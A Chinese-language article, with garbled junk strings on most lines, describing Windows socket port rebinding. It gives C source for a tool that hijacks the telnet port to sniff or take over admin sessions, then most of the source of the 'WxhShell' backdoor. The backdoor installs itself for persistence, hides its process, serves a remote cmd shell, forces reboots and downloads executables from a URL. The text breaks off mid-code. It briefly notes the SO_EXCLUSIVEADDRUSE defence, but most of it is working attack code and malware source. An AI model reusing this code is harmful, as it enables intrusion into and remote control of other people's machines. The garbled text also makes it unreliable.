在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
czHO)uQ?d` s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+mF}j=k *[vf47)r! saddr.sin_family = AF_INET;
MN1|k zGz5|u saddr.sin_addr.s_addr = htonl(INADDR_ANY);
WP}__1!%u 6qHo$#iT bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
HP?e?3.T 2;kab^iv' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
XP(q=Mw F92n)*[ 这意味着什么?意味着可以进行如下的攻击:
F htf4 7Y!^88,f. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
<-lz_ b!`:|!7r' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
xt3IR0 xJO[pT v 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*nH ?o* # _xmM~q[c7p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}4bwLO _ROe!w 1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`NGCUGQ_7 sAnH\AFm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
my04>6j0
YemOP9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<p<gx*% @&2T0UB #include
Kh5:+n_X #include
Rf8|-G-}# #include
DU[UGJg #include
?m~;*wn% DWORD WINAPI ClientThread(LPVOID lpParam);
4}NFa;M1 int main()
h,\_F#hi {
,q:6[~n WORD wVersionRequested;
)@Bt[mfrVD DWORD ret;
4y
P
$l WSADATA wsaData;
KIuYWr7& BOOL val;
*^NC5=A(d SOCKADDR_IN saddr;
S&R~* SOCKADDR_IN scaddr;
%n-LDn int err;
S:t7U% SOCKET s;
^ S%4R' SOCKET sc;
/,B"H@J int caddsize;
bu$5gGWVf HANDLE mt;
g0ug:- R DWORD tid;
S :oZ& wVersionRequested = MAKEWORD( 2, 2 );
+\}]`uS: err = WSAStartup( wVersionRequested, &wsaData );
0<o#;ZQ] if ( err != 0 ) {
-`Z5#8P printf("error!WSAStartup failed!\n");
nJLr]`_ return -1;
vK$T$SL }
hL8QA! saddr.sin_family = AF_INET;
@YT=- Oz n7C?\* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
d/* [t! Fl|u0SY saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Omh(UHZBB saddr.sin_port = htons(23);
|7f}icXKur if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gNxnoOY {
rT"8e*LT printf("error!socket failed!\n");
Mg;;o return -1;
8LiRZ" }
/n:s9eq val = TRUE;
~ae68&L6 //SO_REUSEADDR选项就是可以实现端口重绑定的
VJ1si0vWtq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Oys.8%+ P {
xat)9Yb}0 printf("error!setsockopt failed!\n");
i5-V$ Qh return -1;
m2 N
?Fg }
46$u}"E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2-{8+*_' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=D3Y
q? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
W]rXt,{& FUHa"$Bg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=0 m[ {
3 :f5xF ret=GetLastError();
[*50Ng>P` printf("error!bind failed!\n");
ZtB0:'o; return -1;
*A8CJ }
"\>
<UJ listen(s,2);
La3f{;|u5M while(1)
/V3*[ {
`~*qjA caddsize = sizeof(scaddr);
i8A5m@,G //接受连接请求
J7mT&U&Ru sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lOZ.{0{f, if(sc!=INVALID_SOCKET)
xb1)ZJH {
abI[J]T9G mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c) 1m4SB@ if(mt==NULL)
Lmj?V1% V {
~~kIA"U printf("Thread Creat Failed!\n");
%f,
9 break;
KnU "49 }
`ORDN|s6 }
VsUEp_I CloseHandle(mt);
M@csB. ' }
[0_Kz"| closesocket(s);
f~"3#MaV WSACleanup();
/$ L;m return 0;
o#w6]Fmc }
7tfFRUw DWORD WINAPI ClientThread(LPVOID lpParam)
~r@'k UXKK {
l`,`N+FG SOCKET ss = (SOCKET)lpParam;
12cfqIo9 SOCKET sc;
{feS-.Khv unsigned char buf[4096];
,riwxl5*E/ SOCKADDR_IN saddr;
@| 5B long num;
|a'Q^aT DWORD val;
-6)ywq^{z DWORD ret;
Ya=QN< //如果是隐藏端口应用的话,可以在此处加一些判断
9E
(>mN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
u4Vc:n saddr.sin_family = AF_INET;
8l)l9;4 6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
J"[OH,/_ saddr.sin_port = htons(23);
M: `FZ}&L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bt.W_p {
zJ &qR printf("error!socket failed!\n");
LzgD#Kz return -1;
}rGDM }
?k"KZxpT val = 100;
yv'mV=BMJ! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WgY\m& {
/:%^Vh3XF ret = GetLastError();
{d )Et;_ return -1;
mM}|x~\R }
/G84T,H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!3T x\a`?/ {
WqTW@-}I D ret = GetLastError();
SuuWrt}5 return -1;
XFBk:~}sI }
3V,X= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vtvr{Uqo@ {
JgK?j&!hs: printf("error!socket connect failed!\n");
!!` zz closesocket(sc);
fM2[wh@ closesocket(ss);
Z{ p;J^: return -1;
sIELkF?. }
E}a3. 6)p while(1)
$_)f|\s {
.h*&$c/l //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I>P</TE7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
X\$M _b>O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6tnAE': num = recv(ss,buf,4096,0);
8zpK;+ if(num>0)
iPkG=*Ip(% send(sc,buf,num,0);
sRoZvp5 else if(num==0)
T!;<Fy"p break;
~I'Z=Wo num = recv(sc,buf,4096,0);
{0QA+[Yd&! if(num>0)
,e>ugI_;* send(ss,buf,num,0);
c%B=TAs5c else if(num==0)
"4r5 n8 break;
~ 4&_$e! }
heh!cDK closesocket(ss);
i.fDH57 closesocket(sc);
q].C>R*ux8 return 0 ;
V<d'psb6 }
oxad}Y tG#F7%+E tv;3~Y0i ==========================================================
Mz"kaO sH&8"5BT% 下边附上一个代码,,WXhSHELL
Z:n33xh=< h@Hmo^!9J ==========================================================
*:d_~B?Tn Ezml LFp. #include "stdafx.h"
cb
UVeh7Q I#A`fJ #include <stdio.h>
b,K1EEJ #include <string.h>
+SP5+"y@ #include <windows.h>
!BQ!]u #include <winsock2.h>
T]i~GkD\ #include <winsvc.h>
ivGxtx #include <urlmon.h>
bqLv81 V w{UU( #pragma comment (lib, "Ws2_32.lib")
'kUrSM'*$N #pragma comment (lib, "urlmon.lib")
J7E/2Sl 5aWKyXBIx #define MAX_USER 100 // 最大客户端连接数
8 zY)0 #define BUF_SOCK 200 // sock buffer
-,+JE0[ #define KEY_BUFF 255 // 输入 buffer
oYqC"g&4Z 'dht5iI;Yw #define REBOOT 0 // 重启
)<Yy.Z_:DC #define SHUTDOWN 1 // 关机
KztF#[64W^ (8>k_ #define DEF_PORT 5000 // 监听端口
V5A7w
V3~ 9GQTe1[t4 #define REG_LEN 16 // 注册表键长度
S@*@*>s^ #define SVC_LEN 80 // NT服务名长度
wYF)G;[wM mV'd9(s? // 从dll定义API
o-(jSaH :; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o@>5[2b4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%R_8`4IQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<LLSUk/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:)MZgW %ZZ}TUI W // wxhshell配置信息
.}0Cg2W struct WSCFG {
h7Ma`w\- int ws_port; // 监听端口
DSIa3!0 char ws_passstr[REG_LEN]; // 口令
Lv5AtZl} int ws_autoins; // 安装标记, 1=yes 0=no
v=L^jw char ws_regname[REG_LEN]; // 注册表键名
wDSU~\ char ws_svcname[REG_LEN]; // 服务名
*J$=UG,u char ws_svcdisp[SVC_LEN]; // 服务显示名
f{b"=hQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
J}.p6E~j char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@%jzVF7 int ws_downexe; // 下载执行标记, 1=yes 0=no
qI'a|p4fn? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-'I)2/%g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'uPqe.#? )^r4|WYyt };
66BsUA.h oZzE.Q1T // default Wxhshell configuration
V8N<%/A= struct WSCFG wscfg={DEF_PORT,
GN{.R7 "xuhuanlingzhe",
2Hq!YsJ4] 1,
9^}GUJy? "Wxhshell",
#6YNgJNk "Wxhshell",
BE m%x0y "WxhShell Service",
f^]2qoN "Wrsky Windows CmdShell Service",
.lE"N1 "Please Input Your Password: ",
~o8$/%Oeb/ 1,
8,H "
http://www.wrsky.com/wxhshell.exe",
[`
i;gx[^ "Wxhshell.exe"
jbg@ CA*=C };
ZBnf?fU )qxL@w. // 消息定义模块
gmM79^CEF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T[7-3[w<) char *msg_ws_prompt="\n\r? for help\n\r#>";
7sFjO/a* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Yt{Y)=_t char *msg_ws_ext="\n\rExit.";
t;?
q#!uc char *msg_ws_end="\n\rQuit.";
S]9xqiJW char *msg_ws_boot="\n\rReboot...";
$QY(7Z" char *msg_ws_poff="\n\rShutdown...";
apYf,"|9 char *msg_ws_down="\n\rSave to ";
LS \4y&J40 aFbA=6 char *msg_ws_err="\n\rErr!";
3)`}#` T char *msg_ws_ok="\n\rOK!";
kdF#Nm :|d3BuY char ExeFile[MAX_PATH];
^h'
wZ7-\ int nUser = 0;
Dui<$jl0b HANDLE handles[MAX_USER];
ho0T$hB int OsIsNt;
@F=4B0= UyvFR@ SERVICE_STATUS serviceStatus;
YoahqXR` SERVICE_STATUS_HANDLE hServiceStatusHandle;
~Ipl'cE .m4K ]^m // 函数声明
7o;}"Y1 int Install(void);
g~`UC int Uninstall(void);
BG=h1ybz int DownloadFile(char *sURL, SOCKET wsh);
F02NnF int Boot(int flag);
Z*leEwgz void HideProc(void);
`s.y!(`q int GetOsVer(void);
6W$k^<S int Wxhshell(SOCKET wsl);
!,I}2,1%k void TalkWithClient(void *cs);
:r!nz\%WW int CmdShell(SOCKET sock);
yA6"8fr int StartFromService(void);
i)eub`uMy int StartWxhshell(LPSTR lpCmdLine);
F9Mv$g79 *)"`v] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?-Oy/Y K VOID WINAPI NTServiceHandler( DWORD fdwControl );
^[5yff 4 O'_D*? // 数据结构和表定义
I=.98v% SERVICE_TABLE_ENTRY DispatchTable[] =
9.>v
;:vL {
)x8Izn {wscfg.ws_svcname, NTServiceMain},
#lF8"@)a-$ {NULL, NULL}
r"k\G\,% };
& [4Gv61 poQY X5 // 自我安装
BQ &|=a6 int Install(void)
cO_En`F {
bT0CQ_g21 char svExeFile[MAX_PATH];
uh@ZHef[l HKEY key;
Pij*?qmeQ strcpy(svExeFile,ExeFile);
eSJ5YeY) >f74]J=V // 如果是win9x系统,修改注册表设为自启动
]B\H if(!OsIsNt) {
p
0R)Yc+; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
f)/Yru. ; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uq{w1O5 RegCloseKey(key);
jDOB(fE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wwk=*X-8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[gx6e 44 RegCloseKey(key);
R$_#7>3 return 0;
vm
1vX; }
6f{Kj) }
eG =Hyc }
w%KU@$ else {
Z;-=x p FK{Vnj0 // 如果是NT以上系统,安装为系统服务
%?@N-$j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y{6y.F*Q# if (schSCManager!=0)
Gdb6 U{ {
lN-vFna SC_HANDLE schService = CreateService
{p=`"H> (
OXT 5
y) schSCManager,
NirG99kyo wscfg.ws_svcname,
2mRm.e9? wscfg.ws_svcdisp,
criOJ- SERVICE_ALL_ACCESS,
zU}Ru&T9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|@!4BA SERVICE_AUTO_START,
Lzm9Kh; SERVICE_ERROR_NORMAL,
Mj2`p#5wKh svExeFile,
N7=lSBm NULL,
tHgu#k0 NULL,
_xjw: NULL,
(_Ph{IN NULL,
A]c'`Nf NULL
p48mk );
0g o{gUI if (schService!=0)
vz[oy |{F {
`bY>f_5+ CloseServiceHandle(schService);
z10J8Ms' CloseServiceHandle(schSCManager);
ps[HvV" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FN0)DN2d} strcat(svExeFile,wscfg.ws_svcname);
td@I ;d2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
rom`%qp^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`#Z=cq^_ RegCloseKey(key);
=r:(ga return 0;
!8~A` }
4AW-'W }
gc,%A'OR^< CloseServiceHandle(schSCManager);
YS],o'T }
v'=$K[_ }
vLCyT=OB` -]n\|U< return 1;
>h)D~U(H }
? DJ/Yw>>3 UZvF5Hoe+O // 自我卸载
eO%w
i.Q int Uninstall(void)
@:s(L] {
= j)5kY` HKEY key;
6,Z.RT{5 ]WFr5 if(!OsIsNt) {
'rl?'~={p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q8|
C>$n RegDeleteValue(key,wscfg.ws_regname);
BLaF++Fop RegCloseKey(key);
f(S9>c2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D`hl} RegDeleteValue(key,wscfg.ws_regname);
yrvV<} RegCloseKey(key);
T&'p5h=l return 0;
$Iz *W]B! }
7up~8e$ _ }
)>"|<h.2] }
12]rfd else {
= q\TWz uE &/:+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pf% yEz if (schSCManager!=0)
S/,)X {
-sqd?L.p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
w 3kX!%a: if (schService!=0)
aoUz_7 {
+,xluwv$ 9 if(DeleteService(schService)!=0) {
.D3k(zZ CloseServiceHandle(schService);
[b :0j- CloseServiceHandle(schSCManager);
)gVz?-u+D return 0;
&TTvX%T }
WBN3:Y7 CloseServiceHandle(schService);
nixIKOnjC }
4$oDq CloseServiceHandle(schSCManager);
X*w7q7\8-: }
!-HJ%(5:F }
3D}Pa */'j[uj
return 1;
N(J'h$E }
#J'V,_wH ]xxE_B7 // 从指定url下载文件
U6?3 z int DownloadFile(char *sURL, SOCKET wsh)
Og-v][ {
O$ARk+ HRESULT hr;
#;0F-pt char seps[]= "/";
f4;V7DJ char *token;
Vd;NT$S$ char *file;
a)S{9q}%
char myURL[MAX_PATH];
6o.Dgt/f char myFILE[MAX_PATH];
~K@p`CRbV :z-?L0C=0 strcpy(myURL,sURL);
0" F\V token=strtok(myURL,seps);
MK.TBv while(token!=NULL)
b5)1\ANq {
"cwvx8un file=token;
|R;` token=strtok(NULL,seps);
bjBXs;zr@\ }
Y)68 ,`!>.E. GetCurrentDirectory(MAX_PATH,myFILE);
uquY
z_2 strcat(myFILE, "\\");
(c
S'Nm5 strcat(myFILE, file);
Ca["tks send(wsh,myFILE,strlen(myFILE),0);
LJSx~)@ send(wsh,"...",3,0);
t>vr3)W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SveP:uJA[ if(hr==S_OK)
>~O/ZDu/@ return 0;
|RH^|2:x9Q else
*7{{z%5Pu return 1;
NC3XJ
4 8/@*6J }
F?Fxm*Wa/ FI @kE19 // 系统电源模块
iU|X/>k? int Boot(int flag)
p^C$(}Yh {
yujv^2/ HANDLE hToken;
J ql$
g TOKEN_PRIVILEGES tkp;
\0;EHB E J&w6),d if(OsIsNt) {
F8J\#PW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xB_78X1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-sx=1+\nf tkp.PrivilegeCount = 1;
g*WY kv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'#Q\p6G&_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5 Nt9'" if(flag==REBOOT) {
4|hfzCjMI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ow{NI-^K return 0;
#[]B:
n6 }
_=K\E0I.m else {
Hv*+HUc(: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u)~::2BXAn return 0;
]V,#>' }
;y;UgwAM }
fM3ZoH/ else {
>&JS-jFg if(flag==REBOOT) {
ynn>d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(Bss%\ return 0;
Dc3bG@K*G }
{3BWT else {
'DUYf5nF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;m"R.Q9* return 0;
ahR-^^'$ }
JD~]aoH }
fS4 Ru SQ`KR'E return 1;
?^U1~5ff) }
yW;]J87* } DjbVYH // win9x进程隐藏模块
={I(i6 void HideProc(void)
-l<[CI {
#&Zj6en}M] : n\D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
8ZNwo if ( hKernel != NULL )
s-S|#5 {
5r^u7k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<$8e;:#: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
`<?((l%;R FreeLibrary(hKernel);
:&m0eZZ% }
CMfR&G,) ?V})2wwP return;
fn.}LeeS> }
N
lB%Qu y<)q;fI7 // 获取操作系统版本
51puR8AG> int GetOsVer(void)
Ns-3\~QSi {
Ekz)Nh)vGR OSVERSIONINFO winfo;
0*:4@go0}i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H?j}!JzAC GetVersionEx(&winfo);
2w:cdAv$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$u{ 8wF/) return 1;
%M-B"#OB7 else
AeEF/* return 0;
SA.,Q~_T7 }
/pz(s+4= _UUp+Hz // 客户端句柄模块
!}Ty"p` int Wxhshell(SOCKET wsl)
5x}OrfDU {
]dHV^! SOCKET wsh;
Ok_)C+o struct sockaddr_in client;
8yCQWDE} DWORD myID;
PxgLt2dXa ^/jALA9! while(nUser<MAX_USER)
?N@p~
*x {
v,mn=Q&9 int nSize=sizeof(client);
<9Pf]
G= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#VM-\02o if(wsh==INVALID_SOCKET) return 1;
2_;3B4GDF sme!!+Rd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
m>-(c=3 if(handles[nUser]==0)
!J+< M~o} closesocket(wsh);
1ogh8% else
eX9H/&g nUser++;
{1]Of'x' }
t5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\:91BQP
c +X7+:QQ} return 0;
Js!V,={iX }
qEB]Tj e[ O$ ;:5zT // 关闭 socket
LxxFosi8 void CloseIt(SOCKET wsh)
;PhX[y^* {
1|%C66f^ closesocket(wsh);
hh"=|c nUser--;
UZqk2D ExitThread(0);
|%-:qk4rG }
DmgWIede|: m'suAj0 // 客户端请求句柄
R?$Nl void TalkWithClient(void *cs)
qddP -uN {
C~a-R# $@:z4S(
SOCKET wsh=(SOCKET)cs;
3re|=_
Hy char pwd[SVC_LEN];
_rf char cmd[KEY_BUFF];
5x; y{qT char chr[1];
(3+:/,{'$ int i,j;
rocG;$[ f ")*I while (nUser < MAX_USER) {
D$
+"n ['rqz1DL5 if(wscfg.ws_passstr) {
o`]u& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
eb>YvC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=~~Y@eX //ZeroMemory(pwd,KEY_BUFF);
DEkFmmw
i=0;
0 SeDBs while(i<SVC_LEN) {
yp:_W@ *R^u lp[W // 设置超时
GP\Pk/E fd_set FdRead;
Y l1sAf/ struct timeval TimeOut;
QcDWVM'v FD_ZERO(&FdRead);
X#*|_(^ FD_SET(wsh,&FdRead);
aD:vNX TimeOut.tv_sec=8;
aj<=]=hr TimeOut.tv_usec=0;
DIurFDQSS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(S["
ak if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
H#B~h4# :D'#CoBA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
HrZ\=1RB pwd
=chr[0]; )m Uc
!TP
if(chr[0]==0xd || chr[0]==0xa) { GKNH{|B$D
pwd=0; S@a#,,\[
break;
Qpc+1{BQ
} =@d IM
i++; er?'o1M
} oG )JH)!
6n.W5
1g(s
// 如果是非法用户,关闭 socket {D
jz']
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zp2IpYQ,3
} 007SA6xq
'e4 ;,m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {^xp?zpV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yjbqby7
N +9`'n^x
while(1) { Tv&-n
r>hkm53
ZeroMemory(cmd,KEY_BUFF); ^rc!X]C9
dw60m,m
// 自动支持客户端 telnet标准 >~5>)yN_a1
j=0; I
=t{ u;
while(j<KEY_BUFF) { E:N~c'k
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x-5XOqD{'
cmd[j]=chr[0]; T/"6iv\1
if(chr[0]==0xa || chr[0]==0xd) { &r6VF/
cmd[j]=0; mk;l;!*T8
break; uOqWMRsoi
} rZDlPp>BPZ
j++; (N U*PQY6
} fL8+J]6A6
T6|zT}cb
// 下载文件 :o}Ju}t
if(strstr(cmd,"http://")) { a r#p7N
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J>P{8Aw
if(DownloadFile(cmd,wsh)) <aR8fU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (L?fYSP!
else @'DfNka
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RpE69:~PV
} .Z}ySd:X
else { r[zxb0YA
Y#_,Ig5.
switch(cmd[0]) { Z~tOR{q
'Pudy\Ab
// 帮助 iNR6BP
W
case '?': { !aD/I%X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )g:\N8AZK
break; j5ZeYcQ-
} )k0P' zGb
// 安装 j(!M
case 'i': { q@ >s#
if(Install())
]k%Yz@*S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1pC!F ;9Oo
else Bl-nS{9"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); adh=Kp e!w
break; \FSkI0
} I)AV
// 卸载 LoLmT7
case 'r': { tm~V+t!mj
if(Uninstall()) =N`"%T@=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }+0{opY4R
else jRS0(8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iK6L\'k
break; Y&aFAjj
} w4 <FC$
// 显示 wxhshell 所在路径 ^c}Z$V
case 'p': { @kUCc1LT
char svExeFile[MAX_PATH]; zg&<HJO
strcpy(svExeFile,"\n\r"); pGz-5afL
strcat(svExeFile,ExeFile); ja}_u}:
send(wsh,svExeFile,strlen(svExeFile),0); {[PoLOCI
break; w1/pwzn
} U(DK~#}
// 重启 wxXp(o(
case 'b': { DPJ#Y -0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '$W@I
if(Boot(REBOOT)) U[=VW0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SsfnBCVR
else { yHl1:cf(y
closesocket(wsh); }<o.VY&;.
ExitThread(0); Zf |%t
} 9hEIf,\
break; +~\1Zgw
} 1+RG@Cp
// 关机 zlZ$t{[,
case 'd': { ^$SI5WK&)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <\GP\G
if(Boot(SHUTDOWN)) {,tEe'H7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [f}YXQ0N)
else { V*rAZ0
closesocket(wsh); k DS
ExitThread(0); L8N`<a5T
} `:!mPNW#
break; 6wx;grt'Z
} twU^ewO&
// 获取shell jKZJ0`06q
case 's': { Ub*Gv(Pg
CmdShell(wsh); ULqnr@/FbK
closesocket(wsh); W/9dT^1y4'
ExitThread(0); 7OX5"u!2
break; EV|
6._Z(D
} l=U@j
T
// 退出 ^AtAfVJN0
case 'x': { e5_a.c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TaeN?jc5
CloseIt(wsh); n=l>d#}$%T
break; "l
vPge
} `q7O\
// 离开 bB@1tp0+
case 'q': { -hw^3Af
send(wsh,msg_ws_end,strlen(msg_ws_end),0); N|5J-fR&
closesocket(wsh); xGTVC=q
WSACleanup(); 9F)+p7VJq
exit(1); js)M
c*]&
break; SYRr|Lg
} |u8IQR'B
} 6gV-u~j [#
} 2{Nv&ZX?
K>X#,lE-
// 提示信息 oBiJiPE=`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aq%TZ_m
} 4Ei*\:
} A ><
p/L|;c
return; T Z{';oU
} hAtf)
.6aC2A]es
// shell模块句柄 -/rP0h5#
int CmdShell(SOCKET sock) t?f2*N:
{ 6r{NW9y'
STARTUPINFO si; :["iBrFp
ZeroMemory(&si,sizeof(si)); Aon3G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,%7>%*nhk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $q,2VH :Ip
PROCESS_INFORMATION ProcessInfo; "vI:B}
char cmdline[]="cmd"; +U{8Mj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cO%-Av~P
return 0; ,Bax0p
} 7{>mm$^|V
t=o2:p6&
// 自身启动模式 !qk+>6~A,
int StartFromService(void) xR}^~14Bz
{ 69ZGdN
typedef struct `~0)}K.F
{ z5`AJrj%
DWORD ExitStatus; ? cU9~=
DWORD PebBaseAddress; nR'!Ui
